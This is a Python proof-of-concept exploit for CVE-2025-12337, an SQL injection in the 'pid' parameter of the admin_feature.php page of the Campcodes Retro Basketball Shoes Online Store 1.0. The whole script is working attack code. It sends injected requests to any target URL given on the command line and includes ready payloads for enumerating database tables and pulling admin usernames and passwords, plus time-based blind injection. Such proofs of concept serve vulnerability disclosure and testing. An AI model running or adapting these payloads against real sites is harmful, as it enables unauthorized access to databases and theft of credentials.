import requests
import sys
# CVE-2025-12337 SQL Injection PoC
# Target: Campcodes Retro Basketball Shoes Online Store 1.0
# Location: /admin/admin_feature.php
# Parameter: pid
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection vulnerability in admin_feature.php
"""
# Target endpoint
url = f"{target_url}/admin/admin_feature.php"
# Malicious payload in pid parameter
params = {
'pid': payload
}
try:
response = requests.get(url, params=params, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
# Example payloads for different injection techniques
PAYLOADS = {
'basic_error': "1' AND 1=1 -- ",
'union_select': "1' UNION SELECT 1,2,3,4,5,6,7,8 -- ",
'database_version': "1' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL -- ",
'table_enumeration': "1' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database() -- ",
'admin_creds': "1' UNION SELECT NULL,username,password,NULL,NULL,NULL,NULL,NULL FROM admin_users -- ",
'blind_boolean': "1' AND 1=1 -- ",
'time_blind': "1' AND SLEEP(5) -- "
}
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-12337.py <target_url>")
print("Example: python cve-2025-12337.py http://target.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print("[*] CVE-2025-12337 SQL Injection PoC")
print(f"[*] Target: {target}")
print("[*] Testing basic injection...")
result = exploit_sqli(target, PAYLOADS['basic_error'])
if result:
print("[+] Injection point confirmed!")
print("[*] Try union-based injection for data extraction")